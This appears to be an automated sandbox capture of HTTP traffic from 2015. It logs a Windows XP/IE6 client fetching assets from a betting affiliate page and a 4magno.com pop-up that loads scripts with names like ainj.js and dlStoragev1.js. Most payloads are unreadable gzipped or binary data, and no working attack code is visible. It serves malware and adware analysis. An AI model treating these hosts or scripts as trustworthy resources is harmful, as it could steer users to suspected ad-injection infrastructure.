Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 3144

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:02 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fa61412360-FRA
.PNG........IHDR...<..........Z.4....tEXtSoftware.Adobe ImageReadyq
.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0M
pCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmp
tk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        ">
; <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"&
gt; <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xa
p/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="htt
p://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Ph
otoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:9B6469DE587711E4B24
B9B1D22040B34" xmpMM:DocumentID="xmp.did:9B6469DF587711E4B24B9B1D22040
B34"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9B6469DC58771
1E4B24B9B1D22040B34" stRef:documentID="xmp.did:9B6469DD587711E4B24B9B1
D22040B34"/> </rdf:Description> </rdf:RDF> </x:xmpme
ta> <?xpacket end="r"?>7X......IDATx..Xk..W.>..g.......].f
7M6.M.)i....".."BTRZ.R....%.......JE*-....HU....VB.%.R.H)M.R.....d./{.
.zm.........1..s..;....s...Bo_...)q2.....F..z\qZ.i...6e.BZ.NN\!...bDQE
5..Z./.b.>y..5.5.%...$}..}488H===...$.2..A.<....v..r.....0L..f.I
.Z..."..M\....a.'A.D..6..!. .S..4..]CI.\.....%7..J.........c....|.j..3
.>kJ.....wM.8..Pw:....r.g...N...>\.&....D...!..R>.'..H...d2.Y
..?\n.6.L......Z).Ov.k....-..H..6...%W.{z..5...Z...=[....x}..{..>.F
. .t.......A....... 8....~xbeDR..4.b......c..ax..}.t..e-.F....Z.".....
....LK....9.}.dg).|6..vQ#........Z...l.`[email protected]...>[email protected];..
<<< skipped >>>

GET /coefficients/img/f-1.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 3678

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:31:59 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fae1592360-FRA
.PNG........IHDR.......#......!j.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:A47A2FF9037B11E58F
ACE02FB9FAACC9" xmpMM:DocumentID="xmp.did:A47A2FFA037B11E58FACE02FB9FA
ACC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A47A2FF7037B
11E58FACE02FB9FAACC9" stRef:documentID="xmp.did:A47A2FF8037B11E58FACE0
2FB9FAACC9"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>........IDATx.TWypU.....no._.n.....=H
.R(.:*n...3......u...:...8S..cm]F..i.:..ZA...R.P..I...!.....}=..$.;.y.
~.9.w~g.B0.B>.....j.....I...z..P(..J)f.Z(../......i.....P$...q>.
-......3...t.U...J..\.\.....0.....c0..^,.kT...H..r........WT...M.i .. 
.....b^.U.f...Se...&?$0.(...*.W,./d...Y... /JF..RI......B..q......q.M.
.<..O.@]M../]....at...Y@R......./_....u...l.EU.,.../UA{N.......d4..
...eq'V....7t..c..E.g.........1.....>.5.D4R..'...o..`$....>.3...
.d..6.....?(J.....w.[...|k [email protected].. I2..o..........E........
..../..c........'......??.m.}...o#...l^[........m-U...<..L..>
<<< skipped >>>

GET /coefficients/img/f-3.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 3578

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:31:59 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fb41672360-FRA
.PNG........IHDR.......$.............tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:FBB45F58037B11E58F
ACE02FB9FAACC9" xmpMM:DocumentID="xmp.did:FBB45F59037B11E58FACE02FB9FA
ACC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A47A2FFF037B
11E58FACE02FB9FAACC9" stRef:documentID="xmp.did:A47A3000037B11E58FACE0
2FB9FAACC9"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>3..6...hIDATx.lV.p...~.s..w.W..l.!!$.
#B8.......P(..".X.....zM.......3..J.:H.CD.......$.p...f...........N..o
...o.....y..%.N.. .......N.lFeue]yy..T*s..w8..Z....9....{.X........\/Z
ZZ0....0...........0..y..?L...w..E.. j.. s......%...UVU=PR......$E..H4
....EQ7...>..,*.._.ZW.t...8t...LV... ..C<..:}.p.........TW......
.0M............^.SU........3..K=;$e.....TM..x..D.......u.&.Y...Y.g.}..
.Y....$y#.ee.`Yv.....S..L[.........?...WUM..*.B6.U.n.$v..Q........M.E{
[email protected]..."....._...m.X....'.m.,M....v..'.,s.............
v....*.F.....JV&TC.M...n...LP.i...OZ...\ B...)..qLJ..pz.\Uc..(....
<<< skipped >>>

GET /coefficients/js/foundation.min.js HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: application/javascript

Content-Length: 40485

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:31:42 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Content-Encoding: gzip

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fba1782360-FRA
.............z.7.8.....hB2.E.......8./..m#...HZN.lI.7.L7iI..{.....N]p 
...d%[email protected](...B..........|...r.....r^.......J..,p.\..G.sSn...:.N
...}^.n...r.<........?~N`.,K.e....*fU....o_.L.|...l........xZ..I6,.
..*U.f.r..,...}8z....j>!.....*.O..~2-'.Y6_....|.M{......H..*.,;....
.i.\f)`5...EV..abaN....iU.7..k.P.y5,.......G.Pd...o..5.$W.y.%.|0...$?O
.Xhx..................&..bB....Pk..|:..)W=......V2..q......o.=I..1....
..~....(:..W.r^.....i....k.\..E.....uK.....k..t.....V.l0Og0c.I.9...../
.....Wi.|.l...zQe5.%..vXW.*2..f...N.G0.............L..tr.s.... .S..2.X
..!.m..X.... j...t}Q...%.=9..l.,...Bf..\....j^'?..*.n...'(5L... Qqu.U.
...._..6....i.....^.N..I<T..HL.Z5.O&.|.]/#D.ehnuP../:rnz........Sp.
.....|B.Qdp......%V~..d.DQH.r.....IV......l%.x.p...z.....\..........Vu
M.p\......N.$3..P.j.oc.jb..y.t.3.<x..hL.u.$X`.X.........0.e^......3
W.........................0...T......"...d..a.(.%..[..wTFu...dj].r..b.
1.#..D.>..qCr......D...)......zU.........J......(. ..t>MH...b.d.
.Ea~a.T...........Z. ..8...q;>........Z.X.J....1.O}Y......3...}D...
>N....R.e..z.&.p.tz....V?....F...m.:6..%R..']M..o.&GO.A.c..K..zz.XN
....L....*.RS.F.L.a=...7.A.;F....~B.;[email protected].../....b?q[.p.E.B....
....y.?....?...........|../..C.....a.* ...<) ...a..<..: ...q..`.
...`tUV.j.z...|......tU.....l..`&?/.<........c.xj)k'...XAY.."....".
.%..S.8..Xj....\7j..*]....Ua......D..j.ui,.......e....$.o.^|.tO.;'C..w
0...z.......V.!.Z...(......(AA...jV.N.M~......j2.!.t....Q.K.&..:.~.y.q
f......`H..!.kw.]%_...........i.|.H..}.m.a.....#U.zN..X..........w
<<< skipped >>>

GET /css?family=PT Sans Narrow:400,700&subset=latin,cyrillic-ext HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Expires: Sat, 27 Jun 2015 06:34:53 GMT

Date: Sat, 27 Jun 2015 06:34:53 GMT

Cache-Control: private, max-age=86400

Content-Length: 194

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=0
@font-face {.  font-family: 'PT Sans Narrow';.  font-style: normal;.  
font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/ptsansnarrow/v
7/UyYrYy3ltEffJV9QueSi4d5kJAigf8vrkD0Igp6RW6o.eot);.}.HTTP/1.1 200 OK.
.Content-Type: text/css..Access-Control-Allow-Origin: *..Timing-Allow-
Origin: *..Expires: Sat, 27 Jun 2015 06:34:53 GMT..Date: Sat, 27 Jun 2
015 06:34:53 GMT..Cache-Control: private, max-age=86400..Content-Lengt
h: 194..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEORIGIN..
X-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol: 80:q
uic,p=0..@font-face {.  font-family: 'PT Sans Narrow';.  font-style: n
ormal;.  font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/ptsan
snarrow/v7/UyYrYy3ltEffJV9QueSi4d5kJAigf8vrkD0Igp6RW6o.eot);.}...

GET /BesH3gE9/pop-up/ HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Encoding: gzip

Content-Language: en

Content-Type: text/html

Date: Sat, 27 Jun 2015 06:34:49 GMT

Server: nginx

Set-Cookie: lpsl_BesH3gE9=d6c42ad6ecf2bd3d0025548907051592 1435473289; Path=/; Expires=Sun, 28-Jun-15 06:34:49 GMT;Domain=VVV.4magno.com

Vary: Accept-Language

Content-Length: 1068

Connection: keep-alive
...........Vko.6..._...$'.h...$.Y.a...X].C...D.r$Q%);^...KIv.*..3..&.=
..s.exg7.^O.x...U..w.~x..5.6!.........?Mn.".i.....U.3.......\.|H.j.rVm
...2..<i,W;.K[.x:.......>.I&..0.`0..K[F..a ._.<..8WH.s.c...Y.
%.v1.".1Ir.$/D.$YH......,$.{....3.......&.....-...:eoF%Cs...:uR..q'.)I
....}......\..tfM.i.V......}y..vg..m..#..v.......~.;d.-.E0RT<0...dI
.....T.....~....L.....,>.L.m.q...qvT./e..3Un..E...5....=..c.T.j.hB.
P0.BB..&?..2P.;.m...m..n...w..A.KsB..............i.|d%<.Z.N....O|..
.....^.".2^2...j....-.e.`..%.Z0$d...5......... .o.h.6........%...\..C.
Z.s.....q.....E..un.>N....:..H.{sdl.V"V.YX.._..$..ZJ.......#.......
........T....6K.`...B.E.9lQ7)..2..L6....)H........x...f.z..Pj...G&Cd..
[email protected].*.....G..n.6..!L.&.V....].c.C.R.O..f}t.o.v
....4...45.S.=..l..Oz.WT.k.B... {tN^...?......;.g9O..l....~.7c...^..D.
...F..mu;].v[xd....,c.v.n..Ab".Jo. ..:.....`k:..<&$s;.jZ......8x..-
...r*h*.....8.W..}q~..0..:....AA.x...,..z94...|.,.K".|5.. .M_ ........
..n8.^..VTd...V..\;zBWSc.s.. ..w.....#[email protected]$I.i<...
.P).....Dx6..w/.2/.T......K.*_[.......c@|u.......


GET /lpresources/js/linkv2.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.4magno.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.4magno.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=d6c42ad6ecf2bd3d0025548907051592 1435473289

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Sat, 27 Jun 2015 06:34:50 GMT

ETag: "280056-d84-4feef24b01140"

Last-Modified: Thu, 24 Jul 2014 11:56:13 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 1358

Connection: keep-alive
...........WYo.8.~..`.ELV.|...q. M.........AIT,D...r....;$E.Ns 0,..|sr
f.Ty$."G.4..L...[&.T........B;.Q^......}..a...?.c.&h6.N..P...\.... 5.S
..9......5.)..R..xQ.1Vb.......V.A........>:[email protected])..:.[....w4....
.Q.e..".\..!)..h.^......;..M......n....P.>....^ zBQ...Y.kq^e...L0..
"...c...R..7Y..Jd..1pc....BO82.......l.r&"Z.....B!y..Z......i...?....9
..5..gED.. .|T.=Qf.....\.V..O..C../x....M..l..z.."W.B.a..rh..,...'.?..
.?.L...c.N......5.A.."...u*..........?\..2W..q.......h..mb`Y.1...k..i.
w.8K.;.3.,e.e......2T..FtS..K......7"..,*e.&.e.W.%v......=.L.....\.'.{
......D9.U...s.-... ..JD..U.0pHqwV..;8Y5A....G.........T/.?~.w..A.aI..
.\i.}P.@k%<.G.7......%u2..0.....3.(.H%.......P?1x:n...=.:...m...v2.
.w.....Go..tj.(-7.K. =Y.4.>.........7.(.w.q ... i..Lt/.....W.....T.
..)..W.."Y...`..%..,...........tW..8.C.A2.,8(...j..../.B...x.S..u..X..
..f..=..U8......vLc. [email protected]' E..A3.....t......-.yhZ)..6.`....o%....
.....'.Y...u...c..&....... .Q.9.....Vm.mW...h..W...C.w............'...
r.(.t).j......L...9.j.Uc...QBa9 ..3gPJ.WJ.]xj..!M.<....U......_....
.K!0...Ea..F...J=..`.6R.a..V..,cj . ..W..h.i........T....T_.l[.....i.u
..VL.u.AE..CR..n...l......y..}...1..5.................O...`'.MW8c...|.
. x...{.t..........}_...^..&...?[..9Y|...g.-..._.....h.G~.....i1...b..
...&.:.j..9.g.]B]..}..K>......{.7.aNqtMWD.6.0g.......0..z...PghuR7.
.}..f.y./.p-.%T.n.......xN.j.[.Q......h}e.........
<<< skipped >>>

GET /lpresources/js/ainj.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.4magno.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.4magno.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=d6c42ad6ecf2bd3d0025548907051592 1435473289

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Sat, 27 Jun 2015 06:34:50 GMT

ETag: "185921-0-4f9c38966d780"

Last-Modified: Mon, 19 May 2014 16:48:46 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 20

Connection: keep-alive
........................


GET /lpresources/js/dlStoragev1.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.4magno.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.4magno.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=d6c42ad6ecf2bd3d0025548907051592 1435473289

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Encoding: gzip

Content-Type: application/javascript

Date: Sat, 27 Jun 2015 06:34:50 GMT

ETag: "180b8a-1a57-50572ea11d0c0"

Last-Modified: Wed, 15 Oct 2014 09:39:55 GMT

Server: nginx

Vary: Accept-Encoding

Content-Length: 2010

Connection: keep-alive
...........X[o...~v~...H:q..X,...]d..]t/i.A..b.P.(.F.]..c....!.....p..
.....\...K.Y..P.......b..c.........\3 J..2o-e.*!.....Ur....S>..(..^
....Z ...i..Z...Z.^.(b.}&.....O.$.:.:.....c{D........K.,.....WH.{C..}.
...2 n..Q..~[$p.1..C/<8.....EZ:_..'..@/.#...ud,K.T....J....i|....3=
.....N.!.nY@g....~...~j..i..jj..m.D;l.94.h.$A..9..n.Vp?.X.O..&...."...
....mch....'L..[m...m...XfR......G9(.....BVq....\....G..1....V[.......
......%....H<[email protected]@....[.. .fZ8Ie...Z..%Zdy
[email protected].~-..X?[O.Y.i{.K: L.....D......-......... .k.......r.6..
... v.5X..l.O..F...9..-.O.....5^.L.i..<Ip..O.....~...,...>.2/...
H.R .v..2....R*}:....X.......p2i..b..^.......tW.y...).'....H.......E.)
.Bx].......p.....9.c]...V....w..(. $D..uc..\.&OFv.2.>%.yf..!B.V4.).
..~k..db...Z.......}.....&..^...{cGzV.V...yv:..^....vQ..`[email protected].
.......h*[email protected]{h./.HpF.).T......i.......3u.'...fK..j.OY.
;!3 .N.'Fw1.....7..W..}"..n.ax[,y.%.. .......X%wf. .O...s...'...g7..9'
y.V..y.\O..3...,.-....H.q..........AM..;..L.8B`.3.......X.J.0..m....)1
..b-.w...j.!..oi...f..R'......-U]8.y. 0.*....0J..M...@.&.}............
..IR<...G.J.)I...G.......l.....I.sU....I..}{8...."HQ.....- #.......
...Q.TL.%"^.h=..cX.r.7.{,......o#,.Ho...*.i...A..*...........2..mh{Ws.
3.3.:..N.-...C#WV.[..I.c.J..`...{8....Dw.....x.................../.E_C
l7?....C<....a..Qg.V.p.....\.=.......w?.9.qno..%o....'..z..s(..)...
...p.v...}kw..*a.T.1...5.S.K]*......58....B..O$M.C.`.............a.h.q
...0... jV.....C. IS.].......8_.l..h.....mP.6j....b.1...~.e...DV..
<<< skipped >>>

GET /mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.4magno.com/BesH3gE9/pop-up/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: VVV.4magno.com

Connection: Keep-Alive

Cookie: lpsl_BesH3gE9=d6c42ad6ecf2bd3d0025548907051592 1435473289

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: application/javascript

Date: Sat, 27 Jun 2015 06:34:50 GMT

ETag: "53a84f60-1762a"

Last-Modified: Mon, 23 Jun 2014 16:01:36 GMT

Server: nginx

Content-Length: 95786

Connection: keep-alive
/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.o
rg/license */.!function(a,b){"object"==typeof module&&"object"==typeof
 module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.do
cument)throw new Error("jQuery requires a window with a document");ret
urn b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){v
ar c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=
h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(
a,b)},n=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,o=/^-ms-/,p=/-([\da-z])/g
i,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,c
onstructor:m,selector:"",length:0,toArray:function(){return d.call(thi
s)},get:function(a){return null!=a?0>a?this[a this.length]:this[a]:
d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a
);return b.prevObject=this,b.context=this.context,b},each:function(a,b
){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map
(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return t
his.pushStack(d.apply(this,arguments))},first:function(){return this.e
q(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.le
ngth,c= a (0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]
:[])},end:function(){return this.prevObject||this.constructor(null)},p
ush:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var
 a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boole
an"==typeof g&&(j=g,g=arguments[h]||{},h  ),"object"==typeof g||m.
<<< skipped >>>

GET /css?family=Roboto Condensed:400,700&subset=latin,cyrillic-ext HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.googleapis.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: text/css

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

Expires: Sat, 27 Jun 2015 06:34:53 GMT

Date: Sat, 27 Jun 2015 06:34:53 GMT

Cache-Control: private, max-age=86400

Content-Length: 200

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=0
@font-face {.  font-family: 'Roboto Condensed';.  font-style: normal;.
  font-weight: 400;.  src: url(hXXp://fonts.gstatic.com/s/robotoconden
sed/v13/Zd2E9abXLFGSr9G3YK2MsD47Evg4fep0_Xvy-OOywHY.eot);.}.HTTP/1.1 2
00 OK..Content-Type: text/css..Access-Control-Allow-Origin: *..Timing-
Allow-Origin: *..Expires: Sat, 27 Jun 2015 06:34:53 GMT..Date: Sat, 27
 Jun 2015 06:34:53 GMT..Cache-Control: private, max-age=86400..Content
-Length: 200..X-Content-Type-Options: nosniff..X-Frame-Options: SAMEOR
IGIN..X-XSS-Protection: 1; mode=block..Server: GSE..Alternate-Protocol
: 80:quic,p=0..@font-face {.  font-family: 'Roboto Condensed';.  font-
style: normal;.  font-weight: 400;.  src: url(hXXp://fonts.gstatic.com
/s/robotocondensed/v13/Zd2E9abXLFGSr9G3YK2MsD47Evg4fep0_Xvy-OOywHY.eot
);.}...

GET /s/ptsansnarrow/v7/UyYrYy3ltEffJV9QueSi4d5kJAigf8vrkD0Igp6RW6o.eot HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: fonts.gstatic.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Type: font/eot

Last-Modified: Wed, 27 Aug 2014 23:50:57 GMT

Date: Tue, 09 Jun 2015 23:39:47 GMT

Expires: Wed, 08 Jun 2016 23:39:47 GMT

Access-Control-Allow-Origin: *

Timing-Allow-Origin: *

X-Content-Type-Options: nosniff

Content-Encoding: gzip

Server: sffe

X-XSS-Protection: 1; mode=block

Cache-Control: public, max-age=31536000

Content-Length: 75818

Age: 1493706

Alternate-Protocol: 80:quic,p=0
...........vUT....00..33.....V...Kq......C)P..../^..b....O./.....&'/9'
..........@[email protected]...."!....#......b.0@...,..../.&.Z.....?......%...._
.._............[.=.....y...........?......v......./....T.?&...:....>
;......k.'[email protected].]....2...KW. ..v.$......t0t.Z
.8..*....MV.')v<...IGZ.g.a. .wr...Gc.`.........r...>...F.E[.<
..Z.%.Q.sX..d.Q.%v......D.<..EQ.D..9....w..1t...:).P?p.......T....E
>.4....n.....L....^...c.:.s..[.....Zv.F.BJ....V0..^/_.1N...XY0.U.. 
.r.....L.j........vxZ.[t.........p:.i....Yj..Av..q!.P.c....=.:..t..iE.
.a.........*..i.x....Z...v......;...".j98..`......2.#.....fj.,*...|.X1
.....4 .".t.....;|E.... /=..~1..V...;gAE...zB..))'.a.Y.H|[email protected]}..
..(...sW.y....:...Z.$....q...'MBc..4.JM-.]NO..)a.#.u..<..t.....Av./
..F*.NSb.&.(Al.[*..f.%.8X..'..F..m....i.?....=........h.....oX..r...0.
.....d.............f6s.d..(.../. *..>Py..|..j.5.L.8.k^...;.......$.
.y.............a..(!...s. .M...[....=..N%.^..x.1..$.....%.P...Q.f.....
..D)7?~..........w$o.......1...(9.a...B5.Q.....Z..wj.8a..|e~....4..W..
[email protected]!.......2z..Z..2... ..Z.N....nn.%..G..N....]<.._..G.......v
....~[.d...gf.........,G.d"..2? .21{P..j...*:. ...t}`.y..s..=..u]..0..
L..S...d>G.......:....D#e.L...........5....H...(V. =..4.J.......V..
..,[...(.........T..J.._....3....d...)....._....l.r._......L.....uRpC.
/.......tIr........=EJ......sm.>..#.......Y.'..NX..rt<.g......[.
....S..E.'.o.Y... [email protected]......'.0....u...Pi.&[..."z...!.z.....{..
L.|...Q\.3U................g..p. ....^..j.o.X.....'.ks.......p1..&
<<< skipped >>>

GET /s/robotocondensed/v13/Zd2E9abXLFGSr9G3YK2MsD47Evg4fep0_Xvy-OOywHY.eot HTTP/1.1

Accept: */*

